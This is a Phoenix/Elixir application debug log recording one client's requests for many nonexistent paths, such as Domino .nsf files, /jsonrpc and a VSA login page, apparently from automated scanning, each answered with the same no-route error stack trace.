[Thu Sep  3 08:08:15.500000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52724] ** (Phoenix.Router.NoRouteError) no route found for GET /mve/help/en/inventory/am_about.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:17.028000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52740] GET /smconf.nsf
[Thu Sep  3 08:08:17.045000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52740] ** (Phoenix.Router.NoRouteError) no route found for GET /smconf.nsf (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:17.634000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52742] GET /smadmr5.nsf
[Thu Sep  3 08:08:17.679000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52742] ** (Phoenix.Router.NoRouteError) no route found for GET /smadmr5.nsf (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:19.394000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52754] GET /smency.nsf
[Thu Sep  3 08:08:19.419000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52754] ** (Phoenix.Router.NoRouteError) no route found for GET /smency.nsf (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:20.065000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52766] GET /smftypes.nsf
[Thu Sep  3 08:08:20.099000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52766] ** (Phoenix.Router.NoRouteError) no route found for GET /smftypes.nsf (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:20.729000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52774] GET /smsmvlog.nsf
[Thu Sep  3 08:08:20.749000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52774] ** (Phoenix.Router.NoRouteError) no route found for GET /smsmvlog.nsf (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:21.612000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52778] GET /smhelp.nsf
[Thu Sep  3 08:08:21.643000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52778] ** (Phoenix.Router.NoRouteError) no route found for GET /smhelp.nsf (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:21.988000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52788] POST /jsonrpc
[Thu Sep  3 08:08:22.010000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52788] ** (Phoenix.Router.NoRouteError) no route found for POST /jsonrpc (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:22.258000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52792] GET /smmsg.nsf
[Thu Sep  3 08:08:22.277000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52792] ** (Phoenix.Router.NoRouteError) no route found for GET /smmsg.nsf (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:22.532000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52796] GET /api/v1/version
[Thu Sep  3 08:08:22.552000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52796] ** (Phoenix.Router.NoRouteError) no route found for GET /api/v1/version (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:23.950000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52806] GET /smtime.nsf
[Thu Sep  3 08:08:23.980000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52806] ** (Phoenix.Router.NoRouteError) no route found for GET /smtime.nsf (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:24.715000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55896] GET /smquar.nsf
[Thu Sep  3 08:08:24.738000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55896] ** (Phoenix.Router.NoRouteError) no route found for GET /smquar.nsf (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:30.746000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55906] POST /server/service/smsConfigServiceHttpInvoker
[Thu Sep  3 08:08:30.768000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55906] ** (Phoenix.Router.NoRouteError) no route found for POST /server/service/smsConfigServiceHttpInvoker (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:37.447000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56600] GET /mainui/
[Thu Sep  3 08:08:37.471000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56600] ** (Phoenix.Router.NoRouteError) no route found for GET /mainui (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:41.498000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56602] GET /api/v1.0/environment
[Thu Sep  3 08:08:41.524000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56602] ** (Phoenix.Router.NoRouteError) no route found for GET /api/v1.0/environment (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:42.295000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56614] GET /vsapres/web20/core/login.aspx
[Thu Sep  3 08:08:42.316000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56614] ** (Phoenix.Router.NoRouteError) no route found for GET /vsapres/web20/core/login.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:43.598000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55472] GET /assets/js/conf/global_config.js
[Thu Sep  3 08:08:43.621000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55472] ** (Phoenix.Router.NoRouteError) no route found for GET /assets/js/conf/global_config.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
